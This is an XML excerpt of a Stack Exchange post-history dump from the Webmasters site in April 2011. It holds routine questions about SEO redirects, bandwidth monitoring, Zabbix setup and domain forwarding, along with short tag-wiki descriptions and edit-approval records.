  <row Id="28797" PostHistoryTypeId="2" PostId="12591" RevisionGUID="4ae3b172-0ced-4b30-879b-4e30efd2e4b5" CreationDate="2011-04-20T19:18:41.630" UserId="4033" Text="It is possible that some page (on your site or outside) is linking to that file on your domain. Because that file doesn't exist you are getting a 404 error." />
  <row Id="28798" PostHistoryTypeId="2" PostId="12592" RevisionGUID="3c372580-6a00-4842-a53a-f7d819fd1b4a" CreationDate="2011-04-20T19:15:35.010" UserDisplayName="obautista" Text="I have a site (e.g. www.foo.bar).  When someone attempts to browse this site, they are redirected to a different site (e.g. www.test.com).  I only reason of having foo.bar is because of the domain name.  test.com is a 3rd party.  I want people to come to foo.bar, so I can market on the domain name.  If I am selling parts (e.g. Ford car parts).  I want to configure SEO so that my domain name and &quot;Ford car parts&quot; are associated.  The intention is when someone googles &quot;foo.bar&quot; and &quot;Ford car parts&quot; search engines start ranking my site/domain.  foo.bar isnt the site housing the sale of the parts....the 3rd party is, but I would like to SEO woo.foo.bar if possible to accomplish my intention.  Is what I am looking to do possible?" />
  <row Id="28799" PostHistoryTypeId="1" PostId="12592" RevisionGUID="3c372580-6a00-4842-a53a-f7d819fd1b4a" CreationDate="2011-04-20T19:15:35.010" UserDisplayName="obautista" Text="How does SEO work when redirecting to a different site/domain" />
  <row Id="28800" PostHistoryTypeId="3" PostId="12592" RevisionGUID="3c372580-6a00-4842-a53a-f7d819fd1b4a" CreationDate="2011-04-20T19:15:35.010" UserDisplayName="obautista" Text="&lt;redirects&gt;&lt;seo&gt;" />
  <row Id="28801" PostHistoryTypeId="17" PostId="12592" RevisionGUID="9d20ead1-3d65-4fe8-bc37-ce7b54451696" CreationDate="2011-04-20T19:28:35.753" UserId="-1" Comment="from http://stackoverflow.com/questions/5735457/how-does-seo-work-when-redirecting-to-a-different-site-domain" Text="" />
  <row Id="28802" PostHistoryTypeId="5" PostId="12592" RevisionGUID="a2a6bc85-9bb0-4a0e-b4d1-8c44f8c8065a" CreationDate="2011-04-20T19:33:53.277" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Could I buy a domain name to increase traffic to my site like this?](http://webmasters.stackexchange.com/questions/3777/could-i-buy-a-domain-name-to-increase-traffic-to-my-site-like-this)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a site (e.g. www.foo.bar).  When someone attempts to browse this site, they are redirected to a different site (e.g. www.test.com).  I only reason of having foo.bar is because of the domain name.  test.com is a 3rd party.  I want people to come to foo.bar, so I can market on the domain name.  If I am selling parts (e.g. Ford car parts).  I want to configure SEO so that my domain name and &quot;Ford car parts&quot; are associated.  The intention is when someone googles &quot;foo.bar&quot; and &quot;Ford car parts&quot; search engines start ranking my site/domain.  foo.bar isnt the site housing the sale of the parts....the 3rd party is, but I would like to SEO woo.foo.bar if possible to accomplish my intention.  Is what I am looking to do possible?" />
  <row Id="28803" PostHistoryTypeId="10" PostId="12592" RevisionGUID="c957f224-c2b4-4c46-a805-f5578650a939" CreationDate="2011-04-20T19:33:52.730" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="28804" PostHistoryTypeId="2" PostId="12593" RevisionGUID="317fb46c-96fd-4d90-b2ce-62c69c33b38c" CreationDate="2011-04-20T19:34:23.767" UserId="4142" Text="I believe that Google, and other search engines, do this to discover what the default 404 behavior of your web site is. They visit a randomly named page *specifically because it does not exist*, so they can differentiate a 404 page from a normal page that should be indexed. This helps them correctly crawl servers who don't return a 404 status code, for example." />
  <row Id="28805" PostHistoryTypeId="17" PostId="12595" RevisionGUID="ca4fdb7f-541f-4f54-a1e5-d84bb3a2abdb" CreationDate="2011-04-20T19:39:58.280" UserId="-1" Comment="from http://stackoverflow.com/questions/5735341/how-do-i-measure-my-sites-bandwidth/5735377#5735377" Text="" />
  <row Id="28806" PostHistoryTypeId="2" PostId="12595" RevisionGUID="82feb792-70e7-4384-bbfb-86882e7d6edd" CreationDate="2011-04-20T19:09:12.070" UserDisplayName="Marc B" Text="You'd want something like [vnStat][1]. It works at the level of the network stack's own traffic counters and is therefore &quot;light&quot; on monitoring overhead.&#xD;&#xA;&#xD;&#xA;  [1]: http://humdi.net/vnstat/" />
  <row Id="28807" PostHistoryTypeId="2" PostId="12594" RevisionGUID="cad9f6c8-7610-4148-8aa6-eb43aa59ad76" CreationDate="2011-04-20T19:05:44.333" UserDisplayName="DavidL" Text="a newbie question, but I have a PHP site running on dedicated Centos server with plesk control panel and wonder how much bandwidth is being consumed. Is there a tool or code that measures bandwidth per month, per day etc?&#xD;&#xA;&#xD;&#xA;Thank you very much." />
  <row Id="28808" PostHistoryTypeId="1" PostId="12594" RevisionGUID="cad9f6c8-7610-4148-8aa6-eb43aa59ad76" CreationDate="2011-04-20T19:05:44.333" UserDisplayName="DavidL" Text="How do I measure my site's bandwidth?" />
  <row Id="28809" PostHistoryTypeId="3" PostId="12594" RevisionGUID="cad9f6c8-7610-4148-8aa6-eb43aa59ad76" CreationDate="2011-04-20T19:05:44.333" UserDisplayName="DavidL" Text="&lt;php&gt;&lt;server&gt;&lt;bandwidth&gt;" />
  <row Id="28810" PostHistoryTypeId="17" PostId="12594" RevisionGUID="d34ab2ab-8523-4886-a503-78749df8d4bd" CreationDate="2011-04-20T19:39:58.280" UserId="-1" Comment="from http://stackoverflow.com/questions/5735341/how-do-i-measure-my-sites-bandwidth" Text="" />
  <row Id="28811" PostHistoryTypeId="6" PostId="12594" RevisionGUID="ac7eea03-e013-4486-ade5-dc33f85dab0f" CreationDate="2011-04-20T19:43:03.787" UserId="1253" Comment="Removed &quot;php &quot; tag" Text="&lt;server&gt;&lt;bandwidth&gt;" />
  <row Id="28812" PostHistoryTypeId="2" PostId="12596" RevisionGUID="b62f879c-e573-4fd3-ae0a-cac769cc74ee" CreationDate="2011-04-20T20:05:46.597" UserId="4502" Text="Plesk already has a &quot;Statistics&quot; area which includes that information, among other things. Is there a reason you're not just using it? &#xD;&#xA;&#xD;&#xA;(Or is it that you want something additional for comparison or whatever?)" />
  <row Id="28813" PostHistoryTypeId="2" PostId="12597" RevisionGUID="7bca6c72-9ad7-4c04-9474-e6b28afd1b36" CreationDate="2011-04-20T20:59:59.540" UserId="2333" Text="I'm trying to setup a web-monitor via Zabbix.&#xD;&#xA;&#xD;&#xA;The setup information is sparse, but it requires you to get the post information sent with a web request.&#xD;&#xA;&#xD;&#xA;I have a website that takes a username/password, generates a md5 hash (md5.js) and sends that information to log-in.&#xD;&#xA;&#xD;&#xA;The problem I have... is I'm not that much of a &quot;pro&quot; webmaster. How do I &quot;sniff&quot; the post information?&#xD;&#xA;&#xD;&#xA;Bonus question: How do you handle pop-ups in Zabbix? This is probably it's own question, but I need the two answered together. The homepage log-in button pops up a &quot;notice&quot; that you have to click okay on... don't know how to handle the pop-up/pop-under/new-tab situations on zabbix." />
  <row Id="28814" PostHistoryTypeId="1" PostId="12597" RevisionGUID="7bca6c72-9ad7-4c04-9474-e6b28afd1b36" CreationDate="2011-04-20T20:59:59.540" UserId="2333" Text="Zabbix Web Monitor Setup - Post information" />
  <row Id="28815" PostHistoryTypeId="3" PostId="12597" RevisionGUID="7bca6c72-9ad7-4c04-9474-e6b28afd1b36" CreationDate="2011-04-20T20:59:59.540" UserId="2333" Text="&lt;monitoring&gt;" />
  <row Id="28816" PostHistoryTypeId="25" PostId="12585" RevisionGUID="8ec708e8-70b1-4165-91c5-ac4c156ad5f1" CreationDate="2011-04-20T21:09:17.937" Comment="http://twitter.com/#!/StackWebmasters/status/60812305314742272" />
  <row Id="28817" PostHistoryTypeId="2" PostId="12598" RevisionGUID="b3f0358b-b7a6-4fac-a7b9-09612527277c" CreationDate="2011-04-20T21:57:07.903" UserId="6850" Text="hi we have a small issue&#xD;&#xA;&#xD;&#xA;We have multiple sites within our server&#xD;&#xA;&#xD;&#xA;most using www.example.com/businessid=21 type URI format&#xD;&#xA;&#xD;&#xA;unfortunately we have changed the dns for domain www.example.com to another server.&#xD;&#xA;&#xD;&#xA;One of our clients will not change their DNS and will only use forwarding on their domain. &#xD;&#xA;&#xD;&#xA;Is there a way to point still to the /businessid=21 site? considering we have lost the www.example.com part of the url i.e. just using the ip address of the server?&#xD;&#xA;&#xD;&#xA;hope that makes sense&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28818" PostHistoryTypeId="1" PostId="12598" RevisionGUID="b3f0358b-b7a6-4fac-a7b9-09612527277c" CreationDate="2011-04-20T21:57:07.903" UserId="6850" Text="How to forward a domain without an absolute link" />
  <row Id="28819" PostHistoryTypeId="3" PostId="12598" RevisionGUID="b3f0358b-b7a6-4fac-a7b9-09612527277c" CreationDate="2011-04-20T21:57:07.903" UserId="6850" Text="&lt;domains&gt;" />
  <row Id="28820" PostHistoryTypeId="2" PostId="12599" RevisionGUID="e09c824c-7499-4a96-8144-08209b526378" CreationDate="2011-04-20T22:28:11.380" UserId="-1" Text="" />
  <row Id="28821" PostHistoryTypeId="2" PostId="12600" RevisionGUID="e9585d4b-1223-4a53-9782-6fcdecd2e56a" CreationDate="2011-04-20T22:28:11.380" UserId="-1" Text="" />
  <row Id="28822" PostHistoryTypeId="2" PostId="12601" RevisionGUID="d15bb7f9-b4d2-44d3-ada0-d9dea2ba7156" CreationDate="2011-04-20T22:28:55.780" UserId="-1" Text="" />
  <row Id="28823" PostHistoryTypeId="2" PostId="12602" RevisionGUID="88c45e3f-4687-4fb5-a2c6-02282605f596" CreationDate="2011-04-20T22:28:55.780" UserId="-1" Text="" />
  <row Id="28824" PostHistoryTypeId="2" PostId="12603" RevisionGUID="f9e7c04e-6102-4393-98d3-f8b336f0d6e9" CreationDate="2011-04-20T22:29:50.397" UserId="-1" Text="" />
  <row Id="28825" PostHistoryTypeId="2" PostId="12604" RevisionGUID="8c47adc1-8929-487d-b0b2-5547ed746dd4" CreationDate="2011-04-20T22:29:50.397" UserId="-1" Text="" />
  <row Id="28826" PostHistoryTypeId="2" PostId="12605" RevisionGUID="4ae0d67e-17bb-4301-835b-6961946e2d8c" CreationDate="2011-04-20T22:30:19.863" UserId="-1" Text="" />
  <row Id="28827" PostHistoryTypeId="2" PostId="12606" RevisionGUID="0e6533ba-a345-4258-822b-caea136f5a45" CreationDate="2011-04-20T22:30:19.863" UserId="-1" Text="" />
  <row Id="28828" PostHistoryTypeId="2" PostId="12607" RevisionGUID="300c9326-a4ea-48f3-b137-b8cee0016ffe" CreationDate="2011-04-20T22:30:43.203" UserId="-1" Text="" />
  <row Id="28829" PostHistoryTypeId="2" PostId="12608" RevisionGUID="a875bb0b-3906-4471-a4b1-3e4dfe21d389" CreationDate="2011-04-20T22:30:43.203" UserId="-1" Text="" />
  <row Id="28830" PostHistoryTypeId="2" PostId="12609" RevisionGUID="d4b745f0-a176-401e-aa35-8d5537e03676" CreationDate="2011-04-20T22:34:24.760" UserId="-1" Text="" />
  <row Id="28831" PostHistoryTypeId="2" PostId="12610" RevisionGUID="33710217-bbc0-4575-80a9-3d9c6df02c49" CreationDate="2011-04-20T22:34:24.760" UserId="-1" Text="" />
  <row Id="28832" PostHistoryTypeId="2" PostId="12611" RevisionGUID="7a493b08-9efc-469a-9cda-f341f6ead1c7" CreationDate="2011-04-20T22:34:45.240" UserId="-1" Text="" />
  <row Id="28833" PostHistoryTypeId="2" PostId="12612" RevisionGUID="4dbc640a-8aa0-4e86-b567-48a6f0d63fe7" CreationDate="2011-04-20T22:34:45.240" UserId="-1" Text="" />
  <row Id="28834" PostHistoryTypeId="2" PostId="12613" RevisionGUID="f3ab2af7-e9de-4a6d-ba05-db609d13ad17" CreationDate="2011-04-20T22:35:08.080" UserId="-1" Text="" />
  <row Id="28835" PostHistoryTypeId="2" PostId="12614" RevisionGUID="17dc38b2-fe45-47dd-9f71-5ba98d9ce559" CreationDate="2011-04-20T22:35:08.080" UserId="-1" Text="" />
  <row Id="28836" PostHistoryTypeId="2" PostId="12615" RevisionGUID="084ce934-6b4d-4ed3-8f24-135e6779f5d6" CreationDate="2011-04-20T22:36:00.373" UserId="-1" Text="" />
  <row Id="28837" PostHistoryTypeId="2" PostId="12616" RevisionGUID="4f62545f-fcd5-4187-917f-2b60d3710a4c" CreationDate="2011-04-20T22:36:00.373" UserId="-1" Text="" />
  <row Id="28838" PostHistoryTypeId="2" PostId="12617" RevisionGUID="a4116eb6-16ac-4a17-8bc7-21c308456fe2" CreationDate="2011-04-20T22:36:17.987" UserId="-1" Text="" />
  <row Id="28839" PostHistoryTypeId="2" PostId="12618" RevisionGUID="948b238f-c8ac-47b1-83b6-562434e4b8cf" CreationDate="2011-04-20T22:36:17.987" UserId="-1" Text="" />
  <row Id="28840" PostHistoryTypeId="2" PostId="12619" RevisionGUID="aead6fb2-e8b2-433e-b023-655928b4e712" CreationDate="2011-04-20T22:36:32.853" UserId="-1" Text="" />
  <row Id="28841" PostHistoryTypeId="2" PostId="12620" RevisionGUID="f4e9ea58-cdbe-4d35-9796-f78c7f2e8af3" CreationDate="2011-04-20T22:36:32.853" UserId="-1" Text="" />
  <row Id="28842" PostHistoryTypeId="2" PostId="12621" RevisionGUID="6e530e74-48f8-4058-998c-93b652e6d0ca" CreationDate="2011-04-20T22:36:52.010" UserId="-1" Text="" />
  <row Id="28843" PostHistoryTypeId="2" PostId="12622" RevisionGUID="720dd07d-d9ba-4282-8535-048d40ce26e8" CreationDate="2011-04-20T22:36:52.010" UserId="-1" Text="" />
  <row Id="28844" PostHistoryTypeId="2" PostId="12623" RevisionGUID="8c43336b-e592-4dbb-b066-2a5b06331ab0" CreationDate="2011-04-20T22:38:03.303" UserId="-1" Text="" />
  <row Id="28845" PostHistoryTypeId="2" PostId="12624" RevisionGUID="18d3ecdc-f9c0-4e90-aaf2-7a0204a1cc5c" CreationDate="2011-04-20T22:38:03.303" UserId="-1" Text="" />
  <row Id="28846" PostHistoryTypeId="2" PostId="12625" RevisionGUID="fac2cf3a-a48d-4f10-a18d-027e2f292629" CreationDate="2011-04-20T22:40:04.767" UserId="-1" Text="" />
  <row Id="28847" PostHistoryTypeId="2" PostId="12626" RevisionGUID="9c5d148a-fff9-409f-bcbf-11f5f2d56d13" CreationDate="2011-04-20T22:40:04.767" UserId="-1" Text="" />
  <row Id="28848" PostHistoryTypeId="2" PostId="12627" RevisionGUID="66f25008-4933-4e73-9bc6-922ed79a4e74" CreationDate="2011-04-20T22:40:20.680" UserId="-1" Text="" />
  <row Id="28849" PostHistoryTypeId="2" PostId="12628" RevisionGUID="8fe151b0-0d43-433c-9fec-af6659b46407" CreationDate="2011-04-20T22:40:20.680" UserId="-1" Text="" />
  <row Id="28850" PostHistoryTypeId="2" PostId="12629" RevisionGUID="c3d51591-5bbe-46dc-b644-28359d33a10c" CreationDate="2011-04-20T22:40:32.583" UserId="-1" Text="" />
  <row Id="28851" PostHistoryTypeId="2" PostId="12630" RevisionGUID="788949e6-280b-422f-bd84-5ed3ea88fec6" CreationDate="2011-04-20T22:40:32.583" UserId="-1" Text="" />
  <row Id="28852" PostHistoryTypeId="2" PostId="12631" RevisionGUID="c2b342b8-e706-4c22-bb76-46bd49d336b7" CreationDate="2011-04-20T22:40:56.483" UserId="-1" Text="" />
  <row Id="28853" PostHistoryTypeId="2" PostId="12632" RevisionGUID="2342e05f-1995-4842-a851-8744779cb06e" CreationDate="2011-04-20T22:40:56.483" UserId="-1" Text="" />
  <row Id="28854" PostHistoryTypeId="2" PostId="12633" RevisionGUID="f0eb1172-50cc-4c39-8bb0-e9ecf7b39e1a" CreationDate="2011-04-20T22:41:17.667" UserId="-1" Text="" />
  <row Id="28855" PostHistoryTypeId="2" PostId="12634" RevisionGUID="fc05f589-d728-4c86-b1d6-22033c939fbf" CreationDate="2011-04-20T22:41:17.667" UserId="-1" Text="" />
  <row Id="28856" PostHistoryTypeId="2" PostId="12635" RevisionGUID="2b6c9ef7-5c56-4ea9-82c7-8c06fde95108" CreationDate="2011-04-20T22:45:23.123" UserId="6907" Text="To answer my own question - I found the exact thing I was looking for. The [Play framework][1] is a clean, concise and easy to use Java web framework and they have a drop-and-forget (but slightly pricey) managed hosting available at [PlayApps][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.playframework.org/&#xD;&#xA;  [2]: http://www.playapps.net/" />
  <row Id="28857" PostHistoryTypeId="6" PostId="12584" RevisionGUID="1e5d408f-0588-472e-87e4-a5597da8c271" CreationDate="2011-04-20T23:41:35.997" UserId="5013" Comment="added relevant tags" Text="&lt;seo&gt;&lt;backlinks&gt;&lt;directory-listing&gt;" />
  <row Id="28858" PostHistoryTypeId="24" PostId="12584" RevisionGUID="1e5d408f-0588-472e-87e4-a5597da8c271" CreationDate="2011-04-20T23:41:35.997" Comment="Proposed by 5013 approved by 1253 edit id of 189" />
  <row Id="28859" PostHistoryTypeId="5" PostId="12574" RevisionGUID="5a47ffdc-0664-4910-ae1d-376082822511" CreationDate="2011-04-20T23:43:04.827" UserId="5013" Comment="added relevant tags, edited grammar" Text="I want to give users an option to download the web page of my website they are currently viewing. I have searched and found 3rd party windows software which convert the pages, but I am looking for an app that I can have on my website.&#xD;&#xA;&#xD;&#xA;I am using C# on a ASP.NET platform." />
  <row Id="28860" PostHistoryTypeId="4" PostId="12574" RevisionGUID="5a47ffdc-0664-4910-ae1d-376082822511" CreationDate="2011-04-20T23:43:04.827" UserId="5013" Comment="added relevant tags, edited grammar" Text="PDF conversion on website using ASP.NET platform" />
  <row Id="28861" PostHistoryTypeId="6" PostId="12574" RevisionGUID="5a47ffdc-0664-4910-ae1d-376082822511" CreationDate="2011-04-20T23:43:04.827" UserId="5013" Comment="added relevant tags, edited grammar" Text="&lt;asp.net&gt;&lt;looking-for-a-script&gt;&lt;pdf&gt;&lt;c#&gt;" />
  <row Id="28862" PostHistoryTypeId="24" PostId="12574" RevisionGUID="5a47ffdc-0664-4910-ae1d-376082822511" CreationDate="2011-04-20T23:43:04.827" Comment="Proposed by 5013 approved by 1253 edit id of 190" />
  <row Id="28863" PostHistoryTypeId="5" PostId="12630" RevisionGUID="f4eccb37-108e-4854-8566-373fd54968cd" CreationDate="2011-04-20T23:43:08.180" UserId="5013" Comment="added 165 characters in body" Text="AJAX (Asynchronous Javascript And XML) is a popular technique for creating interactive websites, though other technologies (e.g. JSON) are often used instead of XML." />
  <row Id="28864" PostHistoryTypeId="24" PostId="12630" RevisionGUID="f4eccb37-108e-4854-8566-373fd54968cd" CreationDate="2011-04-20T23:43:08.180" Comment="Proposed by 5013 approved by 1253 edit id of 185" />
  <row Id="28865" PostHistoryTypeId="5" PostId="12604" RevisionGUID="78dbcd0d-e220-40f9-a2fd-5c2c2782e685" CreationDate="2011-04-20T23:43:10.803" UserId="5013" Comment="added 132 characters in body" Text="ASP.NET is a web application framework developed by Microsoft to allow programmers to build dynamic web sites and web applications. " />
  <row Id="28866" PostHistoryTypeId="24" PostId="12604" RevisionGUID="78dbcd0d-e220-40f9-a2fd-5c2c2782e685" CreationDate="2011-04-20T23:43:10.803" Comment="Proposed by 5013 approved by 1253 edit id of 172" />
  <row Id="28867" PostHistoryTypeId="5" PostId="12616" RevisionGUID="4e351f75-5291-4ced-86ed-8009fd004950" CreationDate="2011-04-20T23:43:13.157" UserId="5013" Comment="added 147 characters in body" Text="A web browser or Internet browser is a software application for retrieving, presenting, and traversing information resources on the World Wide Web." />
  <row Id="28868" PostHistoryTypeId="24" PostId="12616" RevisionGUID="4e351f75-5291-4ced-86ed-8009fd004950" CreationDate="2011-04-20T23:43:13.157" Comment="Proposed by 5013 approved by 1253 edit id of 178" />
  <row Id="28869" PostHistoryTypeId="5" PostId="12598" RevisionGUID="c0906ade-fc04-43c4-b882-cf0a30691ca0" CreationDate="2011-04-20T23:43:25.200" UserId="5013" Comment="grammar, formatting" Text="We have multiple sites within our server:&#xD;&#xA;&#xD;&#xA;We mostly use a www.example.com/businessid=21 type URI format.&#xD;&#xA;&#xD;&#xA;Unfortunately, we've changed the DNS for domain www.example.com to another server.&#xD;&#xA;&#xD;&#xA;One of our clients will not change their DNS and will only use forwarding on their domain. &#xD;&#xA;&#xD;&#xA;Is there a way to we can still point to the /businessid=21 site? given that we no longer have the www.example.com part of the url (i.e. just using the ip address of the server?)" />
  <row Id="28870" PostHistoryTypeId="6" PostId="12598" RevisionGUID="c0906ade-fc04-43c4-b882-cf0a30691ca0" CreationDate="2011-04-20T23:43:25.200" UserId="5013" Comment="grammar, formatting" Text="&lt;domains&gt;&lt;dns&gt;&lt;server&gt;&lt;domain-forwarding&gt;" />
  <row Id="28871" PostHistoryTypeId="24" PostId="12598" RevisionGUID="c0906ade-fc04-43c4-b882-cf0a30691ca0" CreationDate="2011-04-20T23:43:25.200" Comment="Proposed by 5013 approved by 1253 edit id of 188" />
  <row Id="28872" PostHistoryTypeId="5" PostId="12600" RevisionGUID="ef37be62-5bc4-41b3-8292-60a8db4638f5" CreationDate="2011-04-20T23:43:28.960" UserId="5013" Comment="added 79 characters in body" Text="Method of exchanging digital messages from an author to one or more recipients." />
  <row Id="28873" PostHistoryTypeId="24" PostId="12600" RevisionGUID="ef37be62-5bc4-41b3-8292-60a8db4638f5" CreationDate="2011-04-20T23:43:28.960" Comment="Proposed by 5013 approved by 1253 edit id of 170" />
  <row Id="28874" PostHistoryTypeId="5" PostId="12594" RevisionGUID="7fb806d9-9d70-4756-a189-bbd37ac5845a" CreationDate="2011-04-20T23:43:33.953" UserId="4786" Comment="removed greeting and signature per faq, fixed capital a" Text="A newbie question, but I have a PHP site running on dedicated Centos server with plesk control panel and wonder how much bandwidth is being consumed. Is there a tool or code that measures bandwidth per month, per day etc?" />
  <row Id="28875" PostHistoryTypeId="24" PostId="12594" RevisionGUID="7fb806d9-9d70-4756-a189-bbd37ac5845a" CreationDate="2011-04-20T23:43:33.953" Comment="Proposed by 4786 approved by 1253 edit id of 169" />
  <row Id="28876" PostHistoryTypeId="5" PostId="12612" RevisionGUID="a1ac6926-2cf1-48f4-9a30-1318bbf6ad5f" CreationDate="2011-04-20T23:43:35.903" UserId="5013" Comment="added 128 characters in body" Text="Adobe Flash is a cross-platform multimedia runtime used to embed animations, video, and interactive applications into web pages." />
  <row Id="28877" PostHistoryTypeId="24" PostId="12612" RevisionGUID="a1ac6926-2cf1-48f4-9a30-1318bbf6ad5f" CreationDate="2011-04-20T23:43:35.903" Comment="Proposed by 5013 approved by 1253 edit id of 176" />
  <row Id="28878" PostHistoryTypeId="5" PostId="12608" RevisionGUID="31c2c43d-06bc-4b3e-b773-ec920f5e25ff" CreationDate="2011-04-20T23:43:38.463" UserId="5013" Comment="added 100 characters in body" Text="HTML5 is a term referring to the latest version of HTML which also includes several Javascript APIs." />
  <row Id="28879" PostHistoryTypeId="24" PostId="12608" RevisionGUID="31c2c43d-06bc-4b3e-b773-ec920f5e25ff" CreationDate="2011-04-20T23:43:38.463" Comment="Proposed by 5013 approved by 1253 edit id of 174" />
  <row Id="28880" PostHistoryTypeId="5" PostId="12606" RevisionGUID="e79f2e39-438e-4ea9-bc51-ab0976d0d7ee" CreationDate="2011-04-20T23:43:41.287" UserId="5013" Comment="added 168 characters in body" Text="Internet Explorer (commonly abbreviated to IE or MSIE), is a web browser developed by Microsoft and included as part of the Microsoft Windows line of operating systems." />
  <row Id="28881" PostHistoryTypeId="24" PostId="12606" RevisionGUID="e79f2e39-438e-4ea9-bc51-ab0976d0d7ee" CreationDate="2011-04-20T23:43:41.287" Comment="Proposed by 5013 approved by 1253 edit id of 173" />
  <row Id="28882" PostHistoryTypeId="5" PostId="12614" RevisionGUID="a79f9c99-6b6e-46f5-9849-6efac9fed7ef" CreationDate="2011-04-20T23:43:43.593" UserId="5013" Comment="added 167 characters in body" Text="jQuery is a cross-browser Javascript library that provides abstractions for DOM traversal, event handling, animation, and Ajax interactions for rapid web development. " />
  <row Id="28883" PostHistoryTypeId="24" PostId="12614" RevisionGUID="a79f9c99-6b6e-46f5-9849-6efac9fed7ef" CreationDate="2011-04-20T23:43:43.593" Comment="Proposed by 5013 approved by 1253 edit id of 177" />
  <row Id="28884" PostHistoryTypeId="5" PostId="12632" RevisionGUID="c571cdf3-bf88-455a-818c-e8a10934982c" CreationDate="2011-04-20T23:43:45.653" UserId="5013" Comment="added 65 characters in body" Text="Linux is a Free (libre), Open Source, Unix-like operating system." />
  <row Id="28885" PostHistoryTypeId="24" PostId="12632" RevisionGUID="c571cdf3-bf88-455a-818c-e8a10934982c" CreationDate="2011-04-20T23:43:45.653" Comment="Proposed by 5013 approved by 1253 edit id of 186" />
  <row Id="28886" PostHistoryTypeId="5" PostId="12628" RevisionGUID="f78defe4-946e-4021-9986-5636c66a78b7" CreationDate="2011-04-20T23:43:48.260" UserId="5013" Comment="added 203 characters in body" Text="Magento is an Ecommerce platform written in PHP. It uses a configuration-based MVC system and heavily leverages Java style OOP patterns in the business logic, UI, and layout rendering application layers." />
  <row Id="28887" PostHistoryTypeId="24" PostId="12628" RevisionGUID="f78defe4-946e-4021-9986-5636c66a78b7" CreationDate="2011-04-20T23:43:48.260" Comment="Proposed by 5013 approved by 1253 edit id of 184" />
  <row Id="28888" PostHistoryTypeId="5" PostId="12622" RevisionGUID="f780cd7f-a56f-4cd3-9608-599c5cca04d2" CreationDate="2011-04-20T23:43:50.677" UserId="5013" Comment="added 326 characters in body" Text="mod_rewrite is a URL rewriting module for the Apache web server. It is commonly used for so-called &quot;pretty&quot; URLs because of its ability to redirect on the server side (transparent to clients and their browsers), but also provides the power and flexibility to perform various request handling tasks beyond simple substitutions." />
  <row Id="28889" PostHistoryTypeId="24" PostId="12622" RevisionGUID="f780cd7f-a56f-4cd3-9608-599c5cca04d2" CreationDate="2011-04-20T23:43:50.677" Comment="Proposed by 5013 approved by 1253 edit id of 181" />
  <row Id="28890" PostHistoryTypeId="5" PostId="12618" RevisionGUID="0bebef62-e999-4bda-a927-09bebd284837" CreationDate="2011-04-20T23:43:53.110" UserId="5013" Comment="added 63 characters in body" Text="MySQL is an open-source, relational database management system." />
  <row Id="28891" PostHistoryTypeId="24" PostId="12618" RevisionGUID="0bebef62-e999-4bda-a927-09bebd284837" CreationDate="2011-04-20T23:43:53.110" Comment="Proposed by 5013 approved by 1253 edit id of 179" />
  <row Id="28892" PostHistoryTypeId="5" PostId="12634" RevisionGUID="be4e770b-2009-4da6-a948-664df39f7f6f" CreationDate="2011-04-20T23:43:56.417" UserId="5013" Comment="added 343 characters in body" Text="Open source software is software whose source code is published and made available to the public, enabling anyone to copy, modify and redistribute the source code without paying royalties or fees. Open source code evolves through community cooperation. These communities are composed of individual programmers as well as very large companies. " />
  <row Id="28893" PostHistoryTypeId="24" PostId="12634" RevisionGUID="be4e770b-2009-4da6-a948-664df39f7f6f" CreationDate="2011-04-20T23:43:56.417" Comment="Proposed by 5013 approved by 1253 edit id of 187" />
  <row Id="28894" PostHistoryTypeId="5" PostId="12626" RevisionGUID="810019c2-8bba-4d0d-9540-c7d0645b06f3" CreationDate="2011-04-20T23:43:59.350" UserId="5013" Comment="added 103 characters in body" Text="PayPal is an e-commerce business allowing payments and money transfers to be made through the Internet." />
  <row Id="28895" PostHistoryTypeId="24" PostId="12626" RevisionGUID="810019c2-8bba-4d0d-9540-c7d0645b06f3" CreationDate="2011-04-20T23:43:59.350" Comment="Proposed by 5013 approved by 1253 edit id of 183" />
  <row Id="28896" PostHistoryTypeId="5" PostId="12624" RevisionGUID="b795d795-6f06-4f75-b213-ec07792dec16" CreationDate="2011-04-20T23:44:01.707" UserId="5013" Comment="added 232 characters in body" Text="Robots.txt is text file used by Website owners to give instructions about their site to web robots. Basically it tells robots which parts of the site are open and which parts are closed. This is called The Robots Exclusion Protocol." />
  <row Id="28897" PostHistoryTypeId="24" PostId="12624" RevisionGUID="b795d795-6f06-4f75-b213-ec07792dec16" CreationDate="2011-04-20T23:44:01.707" Comment="Proposed by 5013 approved by 1253 edit id of 182" />
  <row Id="28898" PostHistoryTypeId="5" PostId="12602" RevisionGUID="ae683e99-9460-42e2-a64c-8ec01c356630" CreationDate="2011-04-20T23:44:03.593" UserId="5013" Comment="added 207 characters in body" Text="A computer program running as a service, a physical computer dedicated to running one or more such services or a software/hardware system such as a database server, file server, mail server, or print server." />
  <row Id="28899" PostHistoryTypeId="24" PostId="12602" RevisionGUID="ae683e99-9460-42e2-a64c-8ec01c356630" CreationDate="2011-04-20T23:44:03.593" Comment="Proposed by 5013 approved by 1253 edit id of 171" />
  <row Id="28900" PostHistoryTypeId="5" PostId="12620" RevisionGUID="34b68cda-51a3-49d6-8c82-43eb47f4e75c" CreationDate="2011-04-20T23:44:06.073" UserId="5013" Comment="added 126 characters in body" Text="Subdomain is a domain which is a part of a larger domain. For example, 'sub.example.com' is subdomain of 'example.com' domain." />
  <row Id="28901" PostHistoryTypeId="24" PostId="12620" RevisionGUID="34b68cda-51a3-49d6-8c82-43eb47f4e75c" CreationDate="2011-04-20T23:44:06.073" Comment="Proposed by 5013 approved by 1253 edit id of 180" />
  <row Id="28902" PostHistoryTypeId="5" PostId="12610" RevisionGUID="1b23f486-efc2-40ce-a629-8d105014c916" CreationDate="2011-04-20T23:44:08.477" UserId="5013" Comment="added 174 characters in body" Text="The Web (comes from World Wide Web) is a system of interlinked documents that are each accessible on the Internet. The information on web is accessible through a web browser." />
  <row Id="28903" PostHistoryTypeId="24" PostId="12610" RevisionGUID="1b23f486-efc2-40ce-a629-8d105014c916" CreationDate="2011-04-20T23:44:08.477" Comment="Proposed by 5013 approved by 1253 edit id of 175" />
